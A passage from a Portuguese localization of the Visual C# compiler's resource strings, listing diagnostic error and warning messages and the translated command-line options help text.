local "{0}" que é o argumento para uma instrução using ou lock. A chamada Dispose desbloqueio ou acontecerá no valor original do local. + A tupla com {0} elementos não pode ser convertida para o tipo '{1}'. + O caractere "<" não pode ser usado em um valor de atributo. + Isso pega o endereço, obtém o tamanho ou declara um ponteiro para um tipo gerenciado ('{0}') + Um construtor de cópia em um registro precisa chamar um construtor de cópia da base ou um construtor de objeto sem parâmetros, quando o registro é herdado do objeto. + Sintaxe de #pragma checksum inválida; deve ser #pragma checksum "nome_de_arquivo" "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}" "XXXX..." + invariantement + '{0}'é apenas para fins de avaliação e está sujeito a alterações ou remoção em atualizações futuras. Suprima este diagnóstico para continuar. + Posição não está dentro da árvore de sintaxe com intervalo total {0} + Não é possível definir um novo método de extensão porque o tipo necessário de compilador "{0}" não pode ser encontrado. Está faltando uma referência a System.Core.dll? + A nulidade dos tipos de referência no tipo de retorno não corresponde à declaração de método parcial. + Para ser aplicável como um operador de circuito pequeno, um operador lógico definido pelo usuário ("{0}") deve ter o mesmo tipo de retorno e tipos de parâmetro + Comparação feita com a mesma variável. Você pretendia comparar com outro elemento? + novas linhas em interpolações + O modificador 'scoped' não pode ser usado com descarte. + O identificador difere somente quando não tem conformidade com CLS + O parâmetro {0} tem o modificador de parâmetros em lambda, mas não no tipo delegado de destino. + Literal real inválido. + A instrução fixed não pode ser usada para obter o endereço de uma expressão fixed + "{0}" não tem construtores acessíveis que usam somente tipos em conformidade com CLS + Falha na avaliação da expressão decimal constante + O parâmetro '{0}' deve ter um valor não nulo durante a saída com '{1}'. + padrão de lista + O rótulo "{0}" é uma duplicata + Não é possível atribuir um campo somente leitura (exceto em um construtor ou em um setter somente de inicialização do tipo no qual o campo esteja definido ou em um inicializador de variável) + O {0} não anulável '{1}' precisa conter um valor não nulo ao sair do construtor. Considere declarar o {0} como anulável. + O alias using "{0}" exibido anteriormente neste namespace + Argumento {0} não deve ser transmitido com a palavra-chave "{1}" + Não é possível usar o parâmetro de construtor primário do tipo '{0}' dentro de um membro da instância + O CallerArgumentExpressionAttribute aplicado ao parâmetro '{0}' não terá nenhum efeito. Ele é substituído pelo CallerMemberNameAttribute. + A nulidade dos tipos de referência no tipo de retorno não corresponde à declaração de método parcial. + Valor inválido para o argumento de atributo denominado "{0}" + Duplicar restrição "{0}" para o parâmetro de tipo "{1}" + Membros do campo de somente leitura "{0}" do tipo "{1}" não podem ser atribuídos com um inicializador de objeto porque ele é de um tipo de valor + Eventos semelhantes a campos não são permitidos em structs somente leitura. + O nome do elemento da tupla '{0}' foi ignorado porque um nome diferente ou nenhum nome foi especificado no outro lado do operador == ou != de tupla. + O modificador 'async' só pode ser usado em métodos que têm um corpo. + A expressão switch não manipula algumas entradas nulas. + Declarações parciais de "{0}" não devem especificar classes base diferentes + "{0}" é inacessível devido ao seu nível de proteção + O operador de supressão não é permitido neste contexto + Os membros herdados "{0}" e "{1}" têm a mesma assinatura no tipo "{2}", portanto, eles não podem ser substituídos + O acesso ao indexador deve ser vinculado dinamicamente, mas isso não é possível porque ele faz parte de uma expressão de acesso de base. Converta os argumentos dinâmicos ou elimine o acesso de base. + "{0}" não tem nenhum método aplicável nomeado "{1}" mas parece ter um método de extensão com esse nome. Métodos de extensão não podem ser vinculados dinamicamente. Considere a possibilidade de converter os argumentos dinâmicos ou chamar o método de extensão sem a sintaxe do método de extensão. + "{0}": propriedades abstratas não podem ter acessadores particulares + 'A expressão 'is' determinada nunca é do tipo fornecido + O indexador de matriz embutido não será usado para a expressão de acesso a elementos. + O runtime de destino não dá suporte aos membros abstratos estáticos em interfaces. + A cadeia de caracteres de versão especificada '{0}' não está em conformidade com o formato necessário - major.minor.build.revision (sem curingas) + Não use o atributo 'System.Runtime.CompilerServices.FixedBuffer' em uma propriedade + Erro ao abrir o arquivo de manifesto Win32 {0} -- {1} + UnscopedRefAttribute só pode ser aplicado a métodos e propriedades de instância struct e não pode ser aplicado a construtores ou membros somente init. + '{0}' é um novo membro virtual no tipo selado '{1}' + A anulabilidade de tipos de referência em tipo de parâmetro não corresponde à declaração de método parcial. + Uma árvore de expressão não pode conter uma propriedade indexada + Sintaxe de soma de verificação #pragma inválida + A literal da cadeia de caracteres bruta não começa com caracteres de aspa suficientes para permitir esse número de caracteres de aspa consecutivos como conteúdo. + LookupOptions tem uma combinação inválida de opções + Inicializador de matriz de comprimento "{0}" é esperado + Um campo somente leitura não pode ser retornado por referência gravável + instrução fixed extensível + Uma árvore de expressão não pode conter uma expressão de índice de front-end ('^'). + matrizes embutidas + Uma expressão de switch ou um rótulo case deve ser um bool, char, cadeia, integral ou um tipo que permite valor nulo correspondente em C# 6 e anterior. + Local deve ser fornecido para fornecer a qualificação do tipo mínimo. + Módulos adicionados devem ser marcados com o atributo CLSCompliant para corresponder ao assembly + O tipo "{2}" deve ser um tipo de referência para que seja usado como parâmetro "{1}" no tipo ou método genérico "{0}" + Envio só pode incluir código de script. + O registro define 'Equals', mas não 'GetHashCode'. + "{0}": não pode substituir porque "{1}" não tem um acessador get substituível + Uma cláusula catch anterior já captura todas as exceções + buffers fixos móveis de indexação + "{0}" é um arquivo binário em vez de um arquivo de texto + Os atributos direcionados a campo em propriedades automáticas não são compatíveis com esta versão da linguagem. + A expressão switch deve ser um valor. {0} foi encontrado. + Não é possível atribuir '{0}' à propriedade de tipo anônimo + Uso de propriedade autoimplementada possivelmente não atribuída + Não é possível abrir "{0}" para escrever -- "{1}" + A implementação explícita de um operador definido pelo usuário '{0}' deve ser declarada estática + Instrução empty possivelmente incorreta + Não é possível criar representante do método "{0}" porque ele é um método parcial sem declaração de implementação + Em vez de substituir object.Finalize, forneça um destruidor. + destruidor e construtor do corpo da expressão + padrão relacional + A anulabilidade de tipos de referência em tipo de retorno não corresponde ao membro substituído. + Nome do arquivo entre aspas, comentário de linha única ou fim da linha é esperado + O membro '{0}' deve ter um valor não nulo durante a saída com '{1}'. + O comentário XML tem atributo cref "{0}" que refere-se a um parâmetro de tipo + O representante "{0}" não tem um construtor válido + parâmetros somente leitura ref + A desconstrução deve conter pelo menos duas variáveis. + Método de extensão "{0}" definido no tipo de valor "{1}" não pode ser usado para criar representantes + Acessibilidade inconsistente: classe base "{1}" é menos acessível do que a classe "{0}" + Um goto case só é válido dentro de uma instrução switch + Isso retorna por referência um membro do parâmetro '{0}' por meio de um parâmetro ref; mas só pode ser retornado com segurança em uma instrução return + Classe System.Object não pode ter uma classe base nem implementar uma interface + Uso de variável local não atribuída + Uma função anônima estática não pode conter uma referência a 'this' ou a 'base'. + "{0}": não é possível alterar modificadores de acesso ao substituir "{1}" membro herdado "{2}" + Indexadores não podem ter o tipo void + Acessibilidade inconsistente: tipo de parâmetro "{1}" é menos acessível do que o operador "{0}" + '{0}' precisa corresponder por somente de inicialização do membro substituído '{1}' + O campo const requer um valor a ser fornecido + Não é possível restaurar o aviso "CS{0}" porque ele foi desabilitado globalmente + A introdução de um método 'Finalize' pode interferir na invocação do destruidor. Você pretendia declarar um destruidor? + Um membro de '{0}' é retornado por referência, mas foi inicializado com um valor que não pode ser retornado por referência + A nulidade do tipo de retorno não corresponde ao membro substituído (possivelmente devido a atributos de nulidade). + Os tipos e os aliases não devem ser nomeados como 'registro'. + O corpo de '{0}' não pode ser um bloco de iteradores, pois '{0}' é retornado por referência + Número incorreto de índices dentro de []; esperado {0} + A assinatura atrasada foi especificada e requer uma chave pública, mas nenhuma chave pública foi especificada + Um método marcado como [DoesNotReturn] não deve ser retornado. + Termo de expressão inválido "{0}" + O modificador de acessibilidade do "{0}" acessador deve ser mais restritivo que a propriedade ou o indexador "{1}" + O CallerFilePathAttribute só pode ser aplicado a parâmetros com valores padrão + Falta a especificação de arquivo para "{0}" opção + As declarações de método parcial precisam ter valores de retorno de referência correspondentes. + Nome do arquivo entre aspas é esperado + Duplicar convenção definida pelo usuário no tipo "{0}" + Tipo byte, sbyte, short, ushort, int, uint, long ou ulong esperado + O controle é devolvido ao chamador antes que a propriedade auto-implementada seja '{0}' explicitamente atribuída, causando uma atribuição implícita anterior de 'default'. + Uso inesperado de um nome genérico + "{0}" não necessista de um atributo CLSCompliant porque o assembly não tem um atributo CLSCompliant + A assinatura de classe coclass wrapper gerenciada "{0}" para interface "{1}" não é uma assinatura de nome de classe válida + O tipo "{1}" existe em "{0}" e "{2}" + O tipo '{0}' não pode ser usado neste contexto porque ele não pode ser representado em metadados. + Possível argumento de referência nula para o parâmetro '{0}' em '{1}'. + Conflitos de tipo com o tipo importado + Um valor constante do tipo '{0}' é esperado + Não é possível criar um tipo genérico construído com base em um tipo não genérico. + Um caractere '{0}' somente deve ser de escape ao duplicar '{0}{0}' em uma cadeia de caracteres interpolada. + XML inválido para incluir elemento + Possível retorno de referência nula. + Este aviso ocorre quando você cria uma classe com um método cuja assinatura é o vazio virtual Finalize público. + +Se tal classe for usada como uma classe base e se a classe derivada definir um destruidor, o destruidor substituirá o método Finalize da classe básica, não o Finalize. + "Especificador de classificação inválido: era esperado ']' + inicializador stackalloc + Não use o atributo 'System.Runtime.CompilerServices.FixedBuffer'. Use o modificador de campos 'fixed' em seu lugar. + O uso de null não é válido neste contexto + Isso retorna por referência um membro do parâmetro por meio de um parâmetro ref; mas só pode ser retornado com segurança em uma instrução return + O membro do registro '{0}' precisa ser privado. + diretiva de uso global + O qualificador alias de namespace '::' sempre é resolvido em um tipo ou namespace, por isso é inválido aqui. Use '.' em seu lugar. + Os operadores de conversão, igualdade ou desigualdade declarados em interfaces devem ser abstratos ou virtuais + O parâmetro do tipo "{0}" não pode ser usado com o operador "as" porque não tem uma restrição de tipo de classe nem uma restrição "class" + O tipo de arquivo local '{0}' deve ser declarado em um arquivo com um caminho único. O caminho '{1}' é usado em vários arquivos. + A palavra-chave 'base' não está disponível em um método estático + O recurso experimental “interceptadores” não está habilitado neste namespace. Adicione “{0}” ao seu projeto. + Membro "{0}" não pode ser inicializado. Não é um campo ou propriedade. + Ambiguidade entre "{0}" e "{1}" + A função local foi declarada, mas nunca usada + Erro de sintaxe de linha de comando: falta Guid para a opção "{1}" + Não é possível usar '{0}' como um tipo de {1} em um método atribuído com 'UnmanagedCallersOnly'. + Assembly referenciado "{0}" destinado a um processador diferente. + Não é possível atribuir {0} a uma variável de tipo implícito + Ocorreu um erro ao gravar o arquivo de saída: {0}. + "{0}": construtor estático não pode ter uma chamada de construtor "this" ou "base" explícita + variável de ambiente LIB + O método inicializador do módulo '{0}' precisa estar acessível no nível do módulo + '{0}' não pode implementar '{1}' porque '{2}' é um evento de Windows Runtime e '{3}' é um evento regular do .NET. + "{0}" está obsoleto + "{0}" é do tipo "{1}". O tipo especificado em uma declaração constante deve ser sbyte, byte, short, ushort, int, uint, long, ulong, char, float, double, decimal, bool, cadeia de caracteres, um tipo enum ou um tipo de referência. + A cadeia de caracteres de versão especificada não está de acordo com o formato recomendado - major.minor.build.revision + A conversão definida pelo usuário em uma interface deve converter de ou para um parâmetro de tipo no tipo delimitador restrito ao tipo delimitador + Parâmetro "{0}" não tem tag param correspondente no comentário XML para "{1}" (mas outros parâmetros têm) + Propriedade indexada "{0}" tem argumentos não opcionais que devem ser fornecidos + Para o tipo '{0}' a ser usado como um AsyncMethodBuilder para o tipo '{1}', sua propriedade Task deve retornar o tipo '{1}' em vez do tipo '{2}'. + "{0}": um campo não pode ser volátil e somente leitura + Somente os registros podem ser herdados de registros. + Literal de cadeia de caracteres não terminada. + Atributos em expressões lambda exigem uma lista de parâmetros entre parênteses. + Tipos estáticos não podem ser usados como parâmetros + Diretiva #endregion esperada + <ausente> + A literal da cadeia de caracteres bruta interpolada não começa com caracteres “$” suficientes para permitir esse número de chaves de abertura consecutivas como conteúdo. + A anulabilidade de tipos de referência em tipo não corresponde ao membro implicitamente implementado. + O nome de parâmetro "{0}" está em conflito com um nome de parâmetro gerado automaticamente + Os parâmetros de tipo não são permitidos em um grupo de métodos como um argumento para 'nameof'. + Acessibilidade inconsistente: tipo de parâmetro "{1}" é menos acessível do que o delegado "{0}" + O uso de alias não pode ser do tipo 'ref'. + Uma cláusula catch anterior já captura todas as exceções. Todas as não exceções lançadas serão ajustadas em uma System.Runtime.CompilerServices.RuntimeWrappedException. + Falha ao inserir alguns ou todos os XML incluídos + Não é possível aguardar "{0}" + A restrição 'default' é válida somente nos métodos de substituição e de implementação explícita da interface. + parâmetro + Um valor constante é esperado + O gerador “{0}” não pôde gerar a origem. Isso não contribuirá para a saída e, como resultado, poderão ocorrer erros de compilação. A exceção foi do tipo “{1}” com mensagem “{2}”. +{3} + Parâmetro de tipo "{0}" tem o mesmo nome do parâmetro de tipo de tipo externo "{1}" + Literal do tipo double não pode ser convertido implicitamente no tipo "{1}"; use um sufixo "{0}" para criar um literal desse tipo + There is no target type for the collection expression. + Uma variável não pode ser declarada em um padrão 'not' ou 'or'. + + Opções do Compilador do Visual C# + + - ARQUIVOS DE SAÍDA - +-out:<file> Especificar o nome do arquivo de saída (padrão: nome base do + arquivo com classe principal ou primeiro arquivo) +-target:exe Compilar um executável de console (padrão) (Curto + form: -t:exe) +-target:winexe Compilar um executável do Windows (Forma abreviada: + -t:winexe) +-target:library Compilar uma biblioteca (Forma abreviada: -t:library) +-target:module Compilar um módulo que pode ser adicionado a outro + assembly (Short form: -t:module) +-target:appcontainerexe Compilar um Appcontainer executável (Forma abreviada: + -t:appcontainerexe) +-target:winmdobj Compilar um Windows Runtime intermediário que + seja consumido pelo WinMDExp (Forma abreviada: -t:winmdobj) +-doc:<file> Arquivo de Documentação XML para gerar +-refout:<file> Saída do assembly de referência para gerar +-platform:<string> Limitar em quais plataformas esse código pode ser executado: x86, + Itanium, x64, arm, arm64, anycpu32bitpreferred ou + anycpu. O padrão é anycpu. + + - ARQUIVOS DE ENTRADA - +-recurse:<wildcard> Incluir todos os arquivos no diretório e + e subdiretórios atuais de acordo com as + especificações +-reference:<alias>=<file> Metadados de referência do arquivo do assembly especificado + usando o alias fornecido (Forma abreviada: -r) +-reference:<file list> Metadados de referência dos arquivos do + assembly (Forma abreviada: -r) +-addmodule:<file list> Vincular os módulos especificados nesse assembly +-link:<file list> Incorporar os metadados dos arquivos do + assembly (Forma abreviada: -l) +-analyzer:<file list> Executar os analisadores desse assembly + (Forma abreviada: -a) +-additionalfile:<file list> Arquivos adicionais que não afetam diretamente a geração do + código, mas podem ser usados por analisadores para produzirem + erros ou avisos. +-embed Inserir todos os arquivos de origem no PDB. +-embed:<file list> Inserir arquivos específicos no PDB. + + - RESOURCES - +-win32res:<file> Especificar um arquivo de recurso win32 (.res) +-win32icon:<file> Usar este ícone para a saída +-win32manifest:<file> Especificar um arquivo de manifesto do Win32 (.xml) +-nowin32manifest Não incluir o manifesto do Win32 padrão +-resource:<resinfo> Inserir o recurso especificado (Forma abreviada: -res) +-linkresource:<resinfo> Vincular o recurso especificado neste assembly + (Forma abreviada: -linkres) Onde o formato resinfo + é <file>[,<string name>[,public|private]] + + - GERAÇÃO DE CÓDIGO - +-debug[+|-] Emitir informações de depuração. +-debug:{full|pdbonly|portable|embedded} + Especificar o tipo de depuração ('full' é padrão, + 'portable' é um formato de multiplataforma, + 'embedded' é um formato de multiplataforma inserido + .dll ou .exe de destino +-optimize[+|-] Habilitar as otimizações (Forma abreviada: -o) +-deterministic Produzir um assembly determinístico + (incluindo o GUID da versão do módulo e carimbo de data/hora) +-refonly Produzir um assembly de referência no lugar da saída principal +-instrument:TestCoverage Produzir um assembly instrumentado para coletar + informações de cobertura +-sourcelink:<file> Informações do link de origem para incorporar no PDB. + + - ERROS E AVISOS - +-warnaserror[+|-] Tratar todos os avisos como erros +-warnaserror[+|-]:<warn list> Relatar os avisos específicos como erros + (usar "anulável" em todos os avisos de nulidade) +-warn:<n> Definir o nível de aviso (0 ou superior) (Forma abreviada: -w) +-nowarn:<warn list> Desabilitar as mensagens de aviso específicas + (usar "anulável" em todos os avisos de nulidade) +-ruleset:<file> Especificar um arquivo de conjunto de regras que desabilita determinados + compilador e do analisador. +-errorlog:<file>[,version=<sarif_version>] + Especificar um arquivo para registrar os diagnósticos do + compilador e do analisador. + sarif_version:{1|2|2.1} Padrão é 1. 2 e 2.1 + e ambos significam versão SARIF 2.1.0. +-reportanalyzer Relatar informações adicionais do analisador, como o + tempo de execução. +-skipanalyzers[+|-] Ignorar a execução dos analisadores de diagnóstico. + + - IDIOMA - +-checked[+|-] Gerar verificações de estouro +-unsafe[+|-] Permitir código 'não seguro' +-define:<symbol list> Declarar o(s) símbolo(s) da compilação (Forma + curta: -d) +-langversion:? Exibir os valores permitidos da versão do idioma +-langversion:<string> Especificar a versão do idioma, como + `latest` (versão mais recente, incluindo as versões secundárias), + 'default' (o mesmo que 'latest'), + 'latestmajor' (versão mais recente, exceto as versões secundárias), + 'preview' (versão mais recente, incluindo os recursos em visualização sem suporte), + ou versões específicas como `6` ou `7.1` +-nullable[+|-] Especificar a opção de contexto anulável ativar|desativar. +-nullable:{enable|disable|warnings|annotations} + Especificar a opção de contexto anulável ativar|desativar. + + - SEGURANÇA - +-delaysign[+|-] Atrasar a assinatura do assembly usando apenas a parte do público + da chave de nome forte. +-publicsign[+|-] Assinar publicamente o assembly usando apenas a parte do público + da chave de nome forte. +-keyfile:<file> Especificar um arquivo de chave de nome forte +-keycontainer:<string> Especificar um contêiner de chave de nome forte +-highentropyva[+|-] Habilitar as ASLR de alta entropia + + - DIVERSOS - +@<file> Ler o arquivo de resposta para obter mais opções +-help Exibir esta mensagem de uso (Forma abreviada: -?) +-nologo Suprimir a mensagem de direitos autorais do compilador +-noconfig Não incluir automaticamente o arquivo VBC.RSP. +-parallel[+|-] Compilação simultânea. +-version Exibir o número da versão do compilador e sair. + + - AVANÇADO - +-baseaddress:<address> Endereço base da biblioteca a ser criada +-checksumalgorithm:<alg> Especificar o algoritmo para calcular a soma de verificação do arquivo de origem + soma de verificação armazenada no PDB. Os valores suportados são: + SHA1 ou SHA256 (padrão). +-codepage:<n> Especificar a página de código a ser usada ao abrir os arquivos do + código-fonte +-utf8output Mensagens do compilador de saída na codificação UTF-8 +-main:<type> Especificar o tipo que contém o ponto de entrada + (ignorar todos os outros pontos de entrada possíveis) (Forma + curta: -m) +-fullpaths O compilador gera caminhos totalmente qualificados +-filealign:<n> Especificar o alinhamento usado nas seções do + arquivo de saída +-pathmap:<K1>=<V1>,<K2>=<V2>,... + Especificar um mapeamento da saída de nomes do caminho de origem pelo + compilador. +-pdb:<file> Especificar o nome do arquivo de informações de depuração (padrão: + nome do arquivo de saída com extensão .pdb) +-errorendlocation Linha de saída e coluna do local final de + cada erro +-preferreduilang Especificar o nome do idioma de saída preferido. +-nosdkpath Desabilitar a pesquisa do caminho padrão do SDK nos conjuntos de bibliotecas padrão. +-nostdlib[+|-] Não referenciar à biblioteca padrão (mscorlib.dll) +-subsystemversion:<string> Especificar a versão do subsistema deste assembly +-lib:<file list> Especificar os diretórios adicionais para pesquisar as + referências +-errorreport:<string> Especifica como lidar com os erros do compilador interno: + prompt, enviar, enfileirar ou nenhum. O padrão é + fila. +-appconfig:<file> Especifique um arquivo de configuração de aplicativo + que contém as configurações de associação do assembly +-moduleassemblyname:<string> Nome do assembly que este módulo fará + parte de +-modulename:<string> Especificar o nome do módulo de origem +-generatedfilesout:<dir> Colocar os arquivos gerados durante a compilação no + diretório especificado. +-reportivts[+|-] Informações de saída sobre todos os IVTs concedidos a esse + assembly por todas as dependências e anotar os erros de acessibilidade do assembly externo + com qual assembly eles vieram. + + Erro de sintaxe, valor esperado + "{0}" não pode ser sealed porque não é uma substituição + #error: "{0}" + A variável de intervalo "{0}" já foi declarada + Chave pública de assinatura inválida especificada em AssemblySignatureKeyAttribute. + O nome do elemento de tupla '{0}' foi ignorado porque um nome diferente ou nenhum nome foi especificado pelo tipo de destino '{1}'. + Este aviso ocorre quando você tentar chamar um método, propriedade ou indexador em um membro de uma classe que é derivada de MarshalByRefObject, e o membro é um tipo de valor. Objetos herdados de MarshalByRefObject geralmente são destinados a ser empacotado por referência em um domínio de aplicativo. Se um código tentar acessar o membro de tipo de valor de tal objeto diretamente em um domínio de aplicativo, ocorrerá uma exceção de tempo de execução. Para resolver o aviso, primeiro copie o membro em uma variável local e chame o método nessa variável. + Não é possível interceptar a chamada com '{0}' porque ela não está acessível em '{1}'. + Dois indexadores têm nomes diferentes. O atributo IndexerName deve ser usado com o mesmo nome em cada indexador dentro de um tipo + O modificador de tipo de referência do parâmetro não corresponde ao parâmetro correspondente no destino. + 'await' requer que o tipo de retorno '{0}' de '{1}.GetAwaiter()' tenha membros 'IsCompleted', 'OnCompleted' e 'GetResult' adequados e implemente 'INotifyCompletion' ou 'ICriticalNotifyCompletion' + "{0}" é uma referência ambígua entre "{1}" e "{2}" + Um construtor declarado em um "struct" com lista de parâmetros deve ter um inicializador "this" que chama o construtor primário ou um construtor explicitamente declarado. + Esta opção substitui o atributo fornecido em um arquivo de origem ou módulo adicionado + Tipos e pseudônimos não podem ser nomeados 'requeridos'. + '{0}': 'readonly' somente pode ser usado em acessadores quando a propriedade ou o indexador tem um acessador get e um set + Dependência de tipo base circular envolvendo '{0}' e '{1}' + Identificador esperado ou literal numérico + Não é possível converter implicitamente tipo "{0}" em "{1}" + Desreferência de uma referência possivelmente nula. + Não é possível incluir fragmento XML + Isso retorna local por referência, mas não é um local de ref + '{0}': o evento de instância na interface não pode ter um inicializador + '{0}' não é um tipo de convenção de chamada válido para 'UnmanagedCallersOnly'. + Construtor "{0}" não pode chamar a si mesmo + Um comentário de uma linha não pode ser usado em uma cadeia de caracteres interpolada. + Local é retornado por referência, mas foi inicializado com um valor que não pode ser retornado por referência + Uma variável de local ou função denominada '{0}' já está definida neste escopo + Não é possível interceptar: a compilação não contém um arquivo com caminho '{0}'. Você quis usar o caminho '{1}'? + Dois assemblies diferem no número de versão. Para que a união ocorra, você deve especificar as diretivas no arquivo .config do aplicativo e fornecer o nome forte correto de um assembly. + Não é possível modificar o valor de retorno "{0}" porque ele não é uma variável + "{0}": tipo base "{1}" não tem conformidade com CLS + O membro requerido '{0}' deve ser atribuído um valor, ele não pode usar um membro aninhado ou um inicializador de coleção. + As instruções de nível superior precisam preceder as declarações de namespace e de tipo. + As declarações de método parcial ' {0} ' e ' {1} ' têm diferenças de assinatura. + O arquivo de origem não pode conter declarações de namespace normal e escopo de arquivo. + Não é possível atribuir a "{0}" porque ele é somente leitura + usando tipo alias + Parâmetro {0} é declarado como tipo "{1}{2}", mas deve ser "{3}{4}" + Erro ao ler arquivo "{0}" especificado para o argumento nomeado "{1}" para o atributo PermissionSet: "{2}" + Uma árvore de expressão não pode conter uma expressão switch. + Uma cláusula de restrição já foi especificada para parâmetro de tipo "{0}". Todas as restrições de parâmetro de tipo devem ser especificadas em uma única cláusula where. + O modificador 'estático' deve preceder o modificador 'inseguro'. + com tipos anônimos + Não é possível aguardar "void" + Não é possível retornar o local '{0}' por referência porque ele não é um local ref + A chamada de construtor deve ser vinculada dinamicamente, mas isso não é possível porque ela faz parte de um inicializador de construtor. Converta os argumentos dinâmicos. + Não é possível inferir o tipo da variável out de tipo implícito '{0}'. + Não é possível inserir tipos de interoperabilidade do assembly "{0}" porque ele está sem o "{1}" atributo. + A #line de intervalo requer espaço antes do primeiro parêntese, antes do deslocamento do caractere e antes do nome do arquivo + inicializador de objeto + Variáveis de tipo implícito não podem ter vários declaradores + Não é possível retornar {0} '{1}' por referência gravável porque ela é uma variável somente leitura + Um namespace não pode conter diretamente membros, como campos, métodos ou instruções + Modificador de membro "{0}" deve preceder o nome e o tipo de membro + A expressão switch não manipula todos os valores possíveis de seu tipo de entrada (não é exaustiva). + Interceptando uma chamada para '{0}' com interceptador '{1}', mas as assinaturas não coincidem. + } esperada + Bloco switch vazio + Argumento de atributo nomeado esperado + A cadeia de caracteres de entrada não pode ser convertida na representação equivalente em bytes UTF-8. {0} + O parâmetro tem vários valores padrão diferentes. + Argumento do tipo "{0}" não é aplicável para o atributo DefaultParameterValue + A conversão definida pelo usuário deve ser convertida a partir de ou em um tipo de delimitador + Uso de campo possivelmente não atribuído + Membro struct "{0}" do tipo "{1}" gera um ciclo no layout de struct + Tipo de restrição não tem conformidade com CLS + padrão entre parênteses + Não é possível aplicar classe de atributo "{0}" porque ela é abstract + Isso retorna um membro do local '{0}' por referência, mas não é um local de ref + A expressão fornecida sempre corresponde à constante fornecida. + "{0}" deve declarar um corpo porque não está marcado como abstract, extern ou partial + Código inacessível detectado + '{0}' não pode implementar o membro de interface '{1}' no tipo '{2}' porque o recurso '{3}' não está disponível no C# {4}. Use a versão de linguagem '{5}' ou superior. + O campo '{0}' referência deve ser atribuído ref antes do uso. + Possível atribuição de referência nula. + registrar structs + Este método assíncrono não possui operadores 'await' e será executado de modo síncrono. É recomendável o uso do operador 'await' para aguardar chamadas à API desbloqueadas ou do operador 'await Task.Run(...)' para realizar um trabalho associado à CPU em um thread em segundo plano. + A palavra-chave contextual 'var' não pode ser usada como um tipo de retorno de lambda explícito + setters somente de inicialização + A variável de intervalo "{0}" não pode ter o mesmo nome de um parâmetro de tipo de método + O tipo "{0}" não tem construtores definidos + método anônimo + Era esperado um script (arquivo .csx), mas não há scripts especificados + Apenas uma declaração de tipo parcial simples pode ter uma lista de parâmetros + Os padrões de fatia não podem ser usados para um valor do tipo '{0}'. + Isso retorna um parâmetro por referência, mas não é um parâmetro ref + tipos anuláveis + '{0}' requer o recurso de compilador '{1}', o que não é suportado por esta versão do compilador de C#. + O construtor primário entra em conflito com o construtor de cópia sintetizado. + Ignorando a opção /noconfig porque ela foi especificada em um arquivo de resposta + tipos de referência que permitem valor nulo + O formulário de desconstrução 'var (...)' não permite um tipo específico para 'var'. + Número de linha especificado para diretiva #line ausente ou inválido + Arquivo XML mal formado "{0}" não pode ser incluído + Não é possível carregar o assembly do Analisador {0} : {1} + O operador definido pelo usuário "{0}" deve ser declarado como static e public + Declaração não é válida; ao invés disso, use "{0} operador <dest-type> (..." + "{0}": tipos static não podem ser usados como tipos de retorno + "{0}" não deve ter um parâmetro params porque "{1}" não tem um + O local '{0}' é retornado por referência mas foi inicializado com um valor que não pode ser retornado por referência + O controle é devolvido ao chamador antes que o campo seja explicitamente atribuído, causando uma atribuição implícita anterior de 'default'. + Não é possível criar arquivo temporário -- {0} + A melhor sobrecarga de "{0}" não tem um parâmetro chamado "{1}" + Parâmetro de tipo "{0}" tem o mesmo nome do tipo recipiente ou do método + O membro oculta o membro herdado; nova palavra-chave ausente + Um método parcial precisa ser declarado em um tipo parcial + O tipo "{1}" em "{0}" está em conflito com o namespace importado "{3}" em "{2}". Usar o tipo definido em "{0}". + O namespace "{1}" em "{0}" está em conflito com o tipo importado "{3}" em "{2}". Usar o namespace definido em "{0}". + O melhor método Add sobrecarregado "{0}" do inicializador de coleção tem alguns argumentos inválidos + Uma expressão do tipo '{0}' nunca pode corresponder ao padrão fornecido. + Padrões de lista não podem ser usados para um valor do tipo “{0}”. Nenhuma propriedade “Length” ou “Count” adequada foi encontrada. + A criação de matriz deve ter tamanho de matriz ou inicializador de matriz + igualdade de tupla + Parâmetro de tipo "{0}" não tem tag typeparam correspondente no comentário XML para "{1}" (mas outros parâmetros têm) + Não é possível interceptar: O caminho '{0}' não está mapeado. Caminho mapeado esperado '{1}'. + Um parâmetro In não pode ter o atributo Out. + Atribuição em expressão condicional é sempre constante. Deseja usar == em vez de = ? + Erro ao ler o arquivo de manifesto Win32 "{0}" -- "{1}" + Uma árvore de expressão pode não conter uma conversão de manipulador de cadeia de caracteres interpolada. + As ramificações do operador condicional ref referem-se a variáveis com escopos de declaração incompatíveis + Atributo "{0}" do módulo "{1}" será ignorado em favor da instância que aparece na fonte + Não é possível atribuir {0} a uma variável de intervalo + Um parâmetro params deve ser o último parâmetro em uma lista de parâmetros + A correspondência ao tipo de tupla '{0}' requer '{1}' subpadrões, mas '{2}' subpadrões estão presentes. + Não é permitida uma instrução throw sem argumentos em uma cláusula finally que está aninhada dentro da cláusula catch delimitadora mais próxima + O acessador 'set' autoimplementado '{0}' não pode ser marcado como 'readonly'. + A tupla deve conter pelo menos dois elementos. + O tipo "{0}" não pode ser usado como um argumento de tipo + A instrução foreach não pode operar em variáveis do tipo '{0}' porque '{0}' não contém uma definição de extensão ou de instância pública para '{1}'. Você quis dizer 'await foreach' em vez de 'foreach'? + Nome do arquivo "{0}" está vazio, contém caracteres inválidos, tem uma especificação de unidade sem um caminho absoluto ou é muito longo + Esta referência atribui '{1}' a '{0}', mas '{1}' tem um escopo de escape de valor maior do que '{0}' permitindo a atribuição por meio de '{0}' de valores com escopos de escape mais estreitos do que '{1}'. + A anulabilidade de tipos de referência em tipo de parâmetro não corresponde ao membro substituído. + O runtime de destino não é compatível com a acessibilidade 'protected', 'protected internal' ou 'private protected' para um membro de uma interface. + Tipo de interoperabilidade "{0}" não pode ser inserido porque está faltando o atributo "{1}" necessário. + A expressão lambda assíncrona convertida em um representante de retorno '{0}' não pode retornar um valor + restrições de tipo genérico unmanaged + A anotação para tipos de referência anuláveis só deve ser usada no código em um contexto de anotações '#nullable'. O código gerado automaticamente exige uma diretiva '#nullable' explícita na origem. + O nome de idioma "{0}" é inválido. + Não é possível usar mais de um tipo em uma instrução for, using, fixed ou or de declaração + A variável de intervalo "{0}" não pode ser atribuída a -- ela é de somente leitura + "{0}" não contém um construtor que aceita {1} argumentos + As cadeias de caracteres de cultura de assembly podem não conter caracteres NUL incorporados. + Lista de parâmetros inesperada. + Um inicializador de módulo precisa ser um método de membro comum + Um campo fixo não deve ser um campo ref. + cadeias de caracteres interpoladas constantes + '{0}': não é possível especificar uma classe de restrição e a restrição 'unmanaged' + Não é possível usar a variável '{0}' neste contexto porque ela pode expor variáveis referenciadas fora 